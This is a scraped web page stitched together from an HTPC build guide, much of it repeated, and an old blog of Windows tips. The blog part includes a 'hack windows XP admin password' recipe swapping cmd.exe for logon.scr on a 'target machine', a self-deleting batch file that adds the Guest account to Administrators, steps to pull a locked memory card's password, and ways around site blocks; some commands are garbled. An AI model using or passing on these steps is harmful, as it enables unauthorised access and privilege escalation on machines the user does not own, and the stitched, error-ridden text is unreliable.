We chose Windows Vista Home Premium over Vista Ultimate, because it offers nearly the same capabilities (mainly Media Center functionality, a necessity for an HTPC) as Ultimate, for a lot less money. We found an OEM copy of Vista Home Premium for $109.99, while OEM copies of Vista Ultimate were listed at $189.99. Overall, the Media Center interface in Vista is better organized and more user-friendly than the interface in previous Windows Media Center Editions, and offers better compatibility with non-Microsoft hardware.
Our HTPC configuration tallied $1,247.09. That isn't cheap, but it isn't much more expensive than a lot of Blu-ray players on the market now, and this HTPC does a lot more. You could add an additional 2GB stick of RAM for a 4GB RAM setup and still hit under $1,300. Follow our step-by-step guide and in no time you'll be kicking back to enjoy your new home-theater
Step 1 -4
Build an all-in-one Media Center PC for your personal home theater.
1 - Remove the Top Panel
1. To begin, remove the top panel by releasing the four screws with the L-shaped hexagonal wrench included with the GD02. You must use the supplied tool or a hexagonal wrench that will fit into place. A screwdriver (which is needed for the rest of the build) won't work in this step.
2 - Remove Optical Drive Bracket
2. The optical drive bracket must be removed at this time, in order to fit the rest of the components into the chassis. Simply unscrew two screws from each end of the bracket, lift, and then set the bracket and screws aside. Avoid placing items on top of the optical drive bracket, as it can easily bend.
3 - Remove the Hard Drive Cage
3. It's necessary to remove the hard drive cage now, in order to install the power supply and the 3.5-inch multicard-reader. Remove the single screw holding the cage in place, slide the cage to the left, and lift upward to remove. Set the cage aside for later.
4 - Install the Power Supply
4. Install the power supply into the chassis on its side so that the attachment cables are close to the right-hand inner wall of the chassis. Failure to install the power supply this way will make it impossible to install the optical drive later on. Secure the power supply with four screws, and proceed.
Step 5 - 8
5. The rubber pegs located on the hard drive cage reduce vibration noise and keep the hard drive grounded. Insert the hard drive into the cage by sliding the drive in from one end, and secure on both sides with the appropriate screws.
6 - Card Readers
6. Card readers are accessible ports that allow you to quickly view all types of data, including photos from a digital camera or mobile phone. To install, remove the 3.5-inch cover by applying a small amount of force from the inside of the chassis. The cover should be easier to slide out by then.
7 - Secure the Drive
7. The SilverStoneDG02 features a one-click locking mechanism to secure the reader in place, as opposed to attaching it with screws. Install the card reader by snaking the data cable through the chassis first. When the front faceplate of the drive is flush with the front bezel of the case, lock the bay by sliding the clip forward.
8 - Attach the SATA
8. After attaching the card reader, attach one SATA data cable and one SATA power cable to the hard drive, and reattach the hard drive cage to the chassis, securing it with the screw removed in step 3. The cage must be secured with the screw in order to prevent the drive from movement, and to ensure that the optical drive cage will fit correctly.
Step 9 - 12
9 - I/O Shield
9. The Silverstone GD02 does not have an I/O shield preinstalled, so apply the one provided with the ASUS M3A78-EMH. The shield should snap into place when installed correctly.
10 - Before Installing the Motherboard...
10. Before installing the motherboard, you must first prepare it to accommodate the Silverstone NT01 fanless heat sink. First, remove the plastic mount surrounding the CPU socket with a screwdriver, and you'll be able to lift the backplate out as well.
11 - Align the Silver Backplate
11. Align the silver backplate packaged with the heat sink against the underside of the motherboard. Insert screws from the newly plated side of the motherboard, and flip over. If you have a buddy on hand, this and the next step would be the right time to ask for assistance. If not, no worries: Rest the motherboard against the chassis, and proceed.
12 - Secure the Backplate
12. To secure the backplate, place the round washers, followed by the standoffs, on the screws. Tighten the standoffs to secure the backplate and to allow the heat sink to mount onto the CPU correctly.
Step 13 - 16
13 - Begin Motherboard Installation
13. The motherboard can now be placed within the chassis. The motherboard pegs are factory secured in the chassis, so simply align the motherboard holes with the pegs and secure the motherboard with screws. Remember to place washers on the screws before applying—this will assist in grounding.
14 - Install the CPU
14. Begin CPU installation by pulling the socket's lever sideways, then lifting up to a 90-degree angle. The triangle located on one corner of the socket and CPU will serve as a guide when installing. Align the tiny gold triangle located on the top of the CPU with the triangle on the motherboard socket, and push into place. When inserted correctly, the CPU should fit into the socket with no force. Retract the socket lever to secure the CPU. If you notice that the CPU is not flush with the socket, make sure the triangles are aligned correctly before securing the lever to avoid damaging the CPU.
15 - Thermal Compound
15. Thermal compound is a metal-based grease solution that allows for heat to be evenly diverted away from the CPU. You'll want to make sure that the CPU is clean of dust or particles before applying the compound. Apply a dime-size amount to the top of the CPU, and spread evenly without letting it run over the edges.
16 - Fanless Heat Sink
16. The Silverstone NT01 fanless heat sink has a plastic protective film on its underside that must be removed before you can apply it to the CPU. Peel away the plastic film, and attach the clips supplied with the heat sink on one side, securing it with two screws. Repeat clip attachment for the other side.
Step 17 - 20
17 - Place the Heat Sink
17. Place the heat sink onto the CPU, aligning the grill parallel with the case's cooling. Stabilize the heat sink by applying two of the spring screws to two of the standoffs secured in step 12. I chose to apply them on a diagonal angle going across the CPU. Twist the spring screws to secure the heat sink in place.
18 - RAM Installation
18. RAM installation takes seconds when the module is aligned properly. Locate DIMM socket 1, and unlock the retaining clips by pushing them outward. Align a memory module on the socket so that the notch on the pin side of the module matches the break on the socket. Firmly seat the memory module into the socket, and secure by making sure that the retaining clips lock the RAM in place. (Three more slots are available for future upgrading.)
19 - Install the Video Card
19. Although the ASUS motherboard we're using is equipped with onboard HDMI, we're using a separate ATI All-In-Wonder HD card (which has its own HDMI port) due to its advanced HD video-recording capability and extra video-processing power. Remove the chassis grill from the PCI Express slot. Align the video card with the PCI Express slot and firmly press it into place. Secure the card with a screw.
20 - Attach the Power Supply Cables
20. Now's the time to attach the power supply cables to the 20-pin main power socket on the motherboard, and the 4-pin socket on the motherboard for the CPU. Additionally, the front-panel LED connectors, as well as the audio and USB connectors, should be attached to the motherboard.
Step 21- 24
21 - Lite-On Blu-ray DVD Writer
21. The Lite-On Blu-ray DVD writer can not only play back your full collection of Blu-ray and standard DVD titles, it can also burn data to blank BD-R discs; making it a useful secondary archiving solution. Slide the rear of the Blu-ray drive into the optical disc cage you removed in step 2, and secure it with two screws on both sides.
22 - Place the Optical Disc
22. Place the back end of the optical disc cage back into the case first, then lower the rest of the cage, making sure that (1) the holes are aligned correctly, and (2) the eject button on the Blu-ray drive is aligned with the eject button on the chassis. If the buttons are not aligned correctly, manual eject will not work.
23 - Wireless-g Card
23. The CNET wireless-g card allows fast, wireless Internet access without the hassle of running messy Ethernet cables through your living room. Remove the chassis grill from the PCI slot. Align the wireless video card with the PCI slot and firmly press it into place. Secure the card with a screw, and attach the wireless antenna on the external side of the card.
24 - Replace the Top Cover
24. Replace the top cover; securing it with the four screws removed in step 1. Attach the wireless keyboard of your choice (our last keyboard roundup has an assortment of options), plug in the HDMI cable from your television to your computer, and turn the power switch to the "I" position. You are ready to install Windows Vista, and begin!
Of course, because of some specialized components, building an HTPC requires a few more steps than putting together a standard productivity rig. (Most office workers don't really need a Blu-ray player.) Nonetheless, the time you put in will reap huge rewards. Our step-by-step guide shows you how to get the job done with ease. (Prices for products cited are all list.) You'll be kicking back on your couch in no time.
A great home-theater PC starts with a superior case. We chose the SilverStone Grandia Micro-ATX GD02B chassis ($159.99; all prices given here are list) for a number of reasons. Size-wise, it isn't bulky like most living-room media-center cases—it's about the size of a small audio receiver. Despite its compact form factor, it can fit a lot of components, including dual internal hard drives, a 5.25-inch optical drive, four expansion slots, and up to an 11.5-inch video card.
A great home-theater PC also successfully balances power, cooling, and quiet. For the motherboard, we picked the ASUS M3A78-EMH HDMI ($89.99), well-priced considering how much expandability it allows. The 45-watt AMD Athlon X2 4850e CPU ($77) offers fast performance while staying cool and stable. Keeping cool is important when stacking an HTPC amid other components in a setup, but the system should also emit minimal noise. That's why we chose the quiet and fanless SilverStone NT01 heat sink ($50.99). When used with the Grandia GD02B, the NT01 receives additional cooling assistance from the case's internal fans. A 500GB Western Digital Caviar Green Power (WD5000AACS) 7,200-rpm SATA hard drive ($74.99) runs cooler than standard SATA drives. I also used 2GB of Crucial 667-MHz DDR2 SDRAM ($42.99). Additionally, the SilverStone 500-watt SST-ST50EF-Plus power supply ($89.99) is energy efficient, producing less heat and operating relatively quietly compared with other power supplies in its class.
To get the system online, I used CNet's inexpensive internal wireless G PCI adapter, which is not only cost-effective (I found one for $21.19) but excels at getting the job done when you're Web browsing, streaming music, and downloading HD content. A Super Talent 16-in-1 card reader ($9.99) is fine for viewing digital photos directly on a large screen.
Blu-ray is the obvious choice (well, only choice) for enjoying optical-based HD movies from nearly every movie studio—and it's also a convenient backup and storage tool. One of the better values available is Lite-On's DH-4B1s Blu-ray writer ($299.99). Its 4X Blu-ray disc-writing capabilities are perfect for storing large files and creating your own HD home movies. ATI's recently released All-In-Wonder HD card ($219.99) is a key component. Not only does it have high-definition PVR capabilities (over the air HD, analog, and digital), but it also allows full 1080p Blu-ray playback and can handle moderate gaming tasks pretty well.
We chose Windows Vista Home Premium over Vista Ultimate, because it offers nearly the same capabilities (mainly Media Center functionality, a necessity for an HTPC) as Ultimate, for a lot less money. We found an OEM copy of Vista Home Premium for $109.99, while OEM copies of Vista Ultimate were listed at $189.99. Overall, the Media Center interface in Vista is better organized and more user-friendly than the interface in previous Windows Media Center Editions, and offers better compatibility with non-Microsoft hardware.
Our HTPC configuration tallied $1,247.09. That isn't cheap, but it isn't much more expensive than a lot of Blu-ray players on the market now, and this HTPC does a lot more. You could add an additional 2GB stick of RAM for a 4GB RAM setup and still hit under $1,300. Follow our step-by-step guide and in no time you'll be kicking back to enjoy your new home-theater
Step 1 -4
Build an all-in-one Media Center PC for your personal home theater.
1 - Remove the Top Panel
1. To begin, remove the top panel by releasing the four screws with the L-shaped hexagonal wrench included with the GD02. You must use the supplied tool or a hexagonal wrench that will fit into place. A screwdriver (which is needed for the rest of the build) won't work in this step.
2 - Remove Optical Drive Bracket
2. The optical drive bracket must be removed at this time, in order to fit the rest of the components into the chassis. Simply unscrew two screws from each end of the bracket, lift, and then set the bracket and screws aside. Avoid placing items on top of the optical drive bracket, as it can easily bend.
3 - Remove the Hard Drive Cage
3. It's necessary to remove the hard drive cage now, in order to install the power supply and the 3.5-inch multicard-reader. Remove the single screw holding the cage in place, slide the cage to the left, and lift upward to remove. Set the cage aside for later.
4 - Install the Power Supply
4. Install the power supply into the chassis on its side so that the attachment cables are close to the right-hand inner wall of the chassis. Failure to install the power supply this way will make it impossible to install the optical drive later on. Secure the power supply with four screws, and proceed.
Step 5 - 8
5. The rubber pegs located on the hard drive cage reduce vibration noise and keep the hard drive grounded. Insert the hard drive into the cage by sliding the drive in from one end, and secure on both sides with the appropriate screws.
6 - Card Readers
6. Card readers are accessible ports that allow you to quickly view all types of data, including photos from a digital camera or mobile phone. To install, remove the 3.5-inch cover by applying a small amount of force from the inside of the chassis. The cover should be easier to slide out by then.
7 - Secure the Drive
7. The SilverStoneDG02 features a one-click locking mechanism to secure the reader in place, as opposed to attaching it with screws. Install the card reader by snaking the data cable through the chassis first. When the front faceplate of the drive is flush with the front bezel of the case, lock the bay by sliding the clip forward.
8 - Attach the SATA
8. After attaching the card reader, attach one SATA data cable and one SATA power cable to the hard drive, and reattach the hard drive cage to the chassis, securing it with the screw removed in step 3. The cage must be secured with the screw in order to prevent the drive from movement, and to ensure that the optical drive cage will fit correctly.
Step 9 - 12
9 - I/O Shield
9. The Silverstone GD02 does not have an I/O shield preinstalled, so apply the one provided with the ASUS M3A78-EMH. The shield should snap into place when installed correctly.
10 - Before Installing the Motherboard...
10. Before installing the motherboard, you must first prepare it to accommodate the Silverstone NT01 fanless heat sink. First, remove the plastic mount surrounding the CPU socket with a screwdriver, and you'll be able to lift the backplate out as well.
11 - Align the Silver Backplate
11. Align the silver backplate packaged with the heat sink against the underside of the motherboard. Insert screws from the newly plated side of the motherboard, and flip over. If you have a buddy on hand, this and the next step would be the right time to ask for assistance. If not, no worries: Rest the motherboard against the chassis, and proceed.
12 - Secure the Backplate
12. To secure the backplate, place the round washers, followed by the standoffs, on the screws. Tighten the standoffs to secure the backplate and to allow the heat sink to mount onto the CPU correctly.
Step 13 - 16
13 - Begin Motherboard Installation
13. The motherboard can now be placed within the chassis. The motherboard pegs are factory secured in the chassis, so simply align the motherboard holes with the pegs and secure the motherboard with screws. Remember to place washers on the screws before applying—this will assist in grounding.
14 - Install the CPU
14. Begin CPU installation by pulling the socket's lever sideways, then lifting up to a 90-degree angle. The triangle located on one corner of the socket and CPU will serve as a guide when installing. Align the tiny gold triangle located on the top of the CPU with the triangle on the motherboard socket, and push into place. When inserted correctly, the CPU should fit into the socket with no force. Retract the socket lever to secure the CPU. If you notice that the CPU is not flush with the socket, make sure the triangles are aligned correctly before securing the lever to avoid damaging the CPU.
15 - Thermal Compound
15. Thermal compound is a metal-based grease solution that allows for heat to be evenly diverted away from the CPU. You'll want to make sure that the CPU is clean of dust or particles before applying the compound. Apply a dime-size amount to the top of the CPU, and spread evenly without letting it run over the edges.
16 - Fanless Heat Sink
16. The Silverstone NT01 fanless heat sink has a plastic protective film on its underside that must be removed before you can apply it to the CPU. Peel away the plastic film, and attach the clips supplied with the heat sink on one side, securing it with two screws. Repeat clip attachment for the other side.
Step 17 - 20
17 - Place the Heat Sink
17. Place the heat sink onto the CPU, aligning the grill parallel with the case's cooling. Stabilize the heat sink by applying two of the spring screws to two of the standoffs secured in step 12. I chose to apply them on a diagonal angle going across the CPU. Twist the spring screws to secure the heat sink in place.
18 - RAM Installation
18. RAM installation takes seconds when the module is aligned properly. Locate DIMM socket 1, and unlock the retaining clips by pushing them outward. Align a memory module on the socket so that the notch on the pin side of the module matches the break on the socket. Firmly seat the memory module into the socket, and secure by making sure that the retaining clips lock the RAM in place. (Three more slots are available for future upgrading.)
19 - Install the Video Card
19. Although the ASUS motherboard we're using is equipped with onboard HDMI, we're using a separate ATI All-In-Wonder HD card (which has its own HDMI port) due to its advanced HD video-recording capability and extra video-processing power. Remove the chassis grill from the PCI Express slot. Align the video card with the PCI Express slot and firmly press it into place. Secure the card with a screw.
20 - Attach the Power Supply Cables
20. Now's the time to attach the power supply cables to the 20-pin main power socket on the motherboard, and the 4-pin socket on the motherboard for the CPU. Additionally, the front-panel LED connectors, as well as the audio and USB connectors, should be attached to the motherboard.
Step 21- 24
21 - Lite-On Blu-ray DVD Writer
21. The Lite-On Blu-ray DVD writer can not only play back your full collection of Blu-ray and standard DVD titles, it can also burn data to blank BD-R discs; making it a useful secondary archiving solution. Slide the rear of the Blu-ray drive into the optical disc cage you removed in step 2, and secure it with two screws on both sides.
22 - Place the Optical Disc
22. Place the back end of the optical disc cage back into the case first, then lower the rest of the cage, making sure that (1) the holes are aligned correctly, and (2) the eject button on the Blu-ray drive is aligned with the eject button on the chassis. If the buttons are not aligned correctly, manual eject will not work.
23 - Wireless-g Card
23. The CNET wireless-g card allows fast, wireless Internet access without the hassle of running messy Ethernet cables through your living room. Remove the chassis grill from the PCI slot. Align the wireless video card with the PCI slot and firmly press it into place. Secure the card with a screw, and attach the wireless antenna on the external side of the card.
24 - Replace the Top Cover
24. Replace the top cover; securing it with the four screws removed in step 1. Attach the wireless keyboard of your choice (our last keyboard roundup has an assortment of options), plug in the HDMI cable from your television to your computer, and turn the power switch to the "I" position. You are ready to install Windows Vista, and begin!
Saturday, 1 March 2008
Change OR Reset Admin Password by limited Account
Type the following command in run
"compmgmt.msc"(don’t use quotes)
then u will be opened with a window in that->
Go to local users & groups->user
Then u will be opened with different users in your system.
Then on admin option right click it and select set password and set password. It will be change. now login with your new password........................
"compmgmt.msc"(don’t use quotes)
then u will be opened with a window in that->
Go to local users & groups->user
Then u will be opened with different users in your system.
Then on admin option right click it and select set password and set password. It will be change. now login with your new password........................
hack windows XP admin password
If you log into a limited account on your target machine :-
open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called abcd and you want the password 1234 enter this"net user abcd 1234"and this changes the password on abcd machine to 1234 and your in.
open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes
"net user
If the Administrator Account is called abcd and you want the password 1234 enter this"net user abcd 1234"and this changes the password on abcd machine to 1234 and your in.
HOW TO DISPLY PENTIUM 5 OR EVEN MORE IN XP
NOW U CAN ABLE TO SHOW PENTIUM 5 AND EVEN MORETYPE "REGEDIT" IN RUN BOX {START->RUN->TYPE REGEDIT}NOW CLICK INH-KEY-LOCAL-MACHIN . THEN ON HARDWARE. THEN ON DISCRIPTION.THEN ON SYSTEM,THEN ONCentralProcessor.THEN ON 0{H-KEY-LOCAL-MACHIN/HARDWARE/DISCRIPTION/SYSTEM/CentralProcessor/0}NOW U GET IN RIGHT PANE THE VALUE THAT IS"ProcessorNameString"DOUBLE CLICK ON THIS VALUEVALUE NAME AND VALUE DATA IS NOW IN FROUNT OF U NOW IN DATA COLOM U CAN EDIT IT RANDOMLY WHAT U WANT IN PLACE OF THATVALUEAND THEN PRESS OKNOW SEE SYSTEM PROPERTY JUST RIGHT CLICKING IN U ARE MY COMPUTER ICON OR SEE SYSTEM .
Thursday, 17 January 2008
Wednesday, 9 January 2008
Move Windows XP’s Quick Launch toolbar where ever you want
1. Position your mouse pointer over the vertical bar on the left edge of the Quick Launch toolbar until your cursor turns into a double‐headed arrow.
2. Drag the Quick Launch toolbar to any location on the desktop — you can anchor it to the top, left, or right edge of the desktop.
3. Once you position it where you want, you can right‐click on the toolbar and select the Always On Top command so that you can always access the Quick Launch toolbar just like you can the taskbar.
2. Drag the Quick Launch toolbar to any location on the desktop — you can anchor it to the top, left, or right edge of the desktop.
3. Once you position it where you want, you can right‐click on the toolbar and select the Always On Top command so that you can always access the Quick Launch toolbar just like you can the taskbar.
Sunday, 16 December 2007
WORK MULTIPLE YAHOO MESSANGERS SIMULTANEOUS
1. Go to Start --> Run . Type regedit, then enter.
2. Navigate to HKEY_CURRENT_ USER --> Software -->yahoo -->pager-->Test
3. On the right page , right-click and choose new Dword value .
4. Rename it as Plural.
5. Double click and assign a decimal value of 1.
2. Navigate to HKEY_CURRENT_ USER --> Software -->yahoo -->pager-->Test
3. On the right page , right-click and choose new Dword value .
4. Rename it as Plural.
5. Double click and assign a decimal value of 1.
Increase ur browsing speed in Mozila Fire Fox
Speed up your firefox browser and load pages about 20% faster than previous.
1. Type "about:config" into the address bar and hit return. Scroll down and look for the following entries:network.http.pipeliningnetwork.http.proxy.pipeliningnetwork.http.pipelining.maxrequestsNormally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.
2. Alter the entries as follows:Set "network.http.pipelining" to "true"Set "network.http.proxy.pipelining" to "true"Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.
3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.If you're using a broadband connection you'll load pages 2-3 times faster now.mozila net increase speed
1. Type "about:config" into the address bar and hit return. Scroll down and look for the following entries:network.http.pipeliningnetwork.http.proxy.pipeliningnetwork.http.pipelining.maxrequestsNormally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.
2. Alter the entries as follows:Set "network.http.pipelining" to "true"Set "network.http.proxy.pipelining" to "true"Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.
3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.If you're using a broadband connection you'll load pages 2-3 times faster now.mozila net increase speed
Block websites without any software
Steps
1. Browse C:\WINDOWS\system32\drivers\etc
2. Find the file named "HOSTS"
3. Open it in notepad
4. Under "127.0.0.1 localhost" Add 127.0.0.2 www.orkut.com , and that site will no longer be accessable.
example :
127.0.0.1 localhost
127.0.0.2 www.orkut.com
www.orkut.com is now unaccessable
For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the add like before.
IE:
127.0.0.3 www.yahoo.com
127.0.0.4 www.msn.com
127.0.0.5 www.google.com
1. Browse C:\WINDOWS\system32\drivers\etc
2. Find the file named "HOSTS"
3. Open it in notepad
4. Under "127.0.0.1 localhost" Add 127.0.0.2 www.orkut.com , and that site will no longer be accessable.
example :
127.0.0.1 localhost
127.0.0.2 www.orkut.com
www.orkut.com is now unaccessable
For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the add like before.
IE:
127.0.0.3 www.yahoo.com
127.0.0.4 www.msn.com
127.0.0.5 www.google.com
Login with multiple id at the same time in orkut , gmail , yahoo
To perform this trick u need firefox mozilla browserIf u don't have mozilla ff u can download it from hereLook on right sidebar for mozilla firefox with google toolbarIt is absolutely free
Step
1: open system properties(by right clicking my computer), choose tab advanced, click to environment variables button. in system variables section, click new. type this information to each textbox.variable name: moz_no_remote(should be all small letter)variable value: 1press ok to close all windows.step
2: open firefox icon's properties(from desktop and quick launch). add extension -p to command line(like "c:\program files\mozilla firefox\firefox.exe" -p). press ok.while starting firefox u have to create two separate profiles of firefox so that u can login to two accounts of any(orkut,yahoo,rediff or anything else).......for three logins create three profiles of firefox.........
Step
1: open system properties(by right clicking my computer), choose tab advanced, click to environment variables button. in system variables section, click new. type this information to each textbox.variable name: moz_no_remote(should be all small letter)variable value: 1press ok to close all windows.step
2: open firefox icon's properties(from desktop and quick launch). add extension -p to command line(like "c:\program files\mozilla firefox\firefox.exe" -p). press ok.while starting firefox u have to create two separate profiles of firefox so that u can login to two accounts of any(orkut,yahoo,rediff or anything else).......for three logins create three profiles of firefox.........
Crack MMC password
Steps
1. Install the File explorer Software e.g. SELQ of Fileman thru data Cable or Bluetooth in Phone memory
2. Then Insert The Blocked MMC
3. Open the File Explorer Software
4. goto C:\ i.e Phone Memory
5. goto System
6. Goto Find and Search MMcstore
7. Send this file by Bluetooth or Infraread to your PC
8. Rename the file MMCSTORE to MMCSTORE.TXT
9. pen the file and the password off the MMC are there
1. Install the File explorer Software e.g. SELQ of Fileman thru data Cable or Bluetooth in Phone memory
2. Then Insert The Blocked MMC
3. Open the File Explorer Software
4. goto C:\ i.e Phone Memory
5. goto System
6. Goto Find and Search MMcstore
7. Send this file by Bluetooth or Infraread to your PC
8. Rename the file MMCSTORE to MMCSTORE.TXT
9. pen the file and the password off the MMC are there
How to use Google as proxy
1: The first and most common way of using google to bypass blocked sites is just to search for the site and then clicked the "cached" link that appears on google. Easy, simple, and frequently works for static information.
2: Passing the site through google translator works well as well. Here's the URL to use:Code:http://www.google.com/translate?langpair=enen&u;=www.blockedsite.com(where blockedsite.com is the site that you wish to visit)This translates the site from english to english and works because the ip address will appear as google instead of you. Here's a link to tech-recipes passed through the translator as an example. You can actually do this with any langpair. Change enen in the URL above to spanish by using eses and it still works.
2: Passing the site through google translator works well as well. Here's the URL to use:Code:http://www.google.com/translate?langpair=enen&u;=www.blockedsite.com(where blockedsite.com is the site that you wish to visit)This translates the site from english to english and works because the ip address will appear as google instead of you. Here's a link to tech-recipes passed through the translator as an example. You can actually do this with any langpair. Change enen in the URL above to spanish by using eses and it still works.
Get Admin Privileges when you are log on as guest user
Want admin privileges on your pc, when you are log on as guest user
Copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Than double click on it. This will add Guest user in administrators group
echo off
title Please wait...
clsnet user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Than double click on it. This will add Guest user in administrators group
echo off
title Please wait...
clsnet user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Wednesday, 5 December 2007
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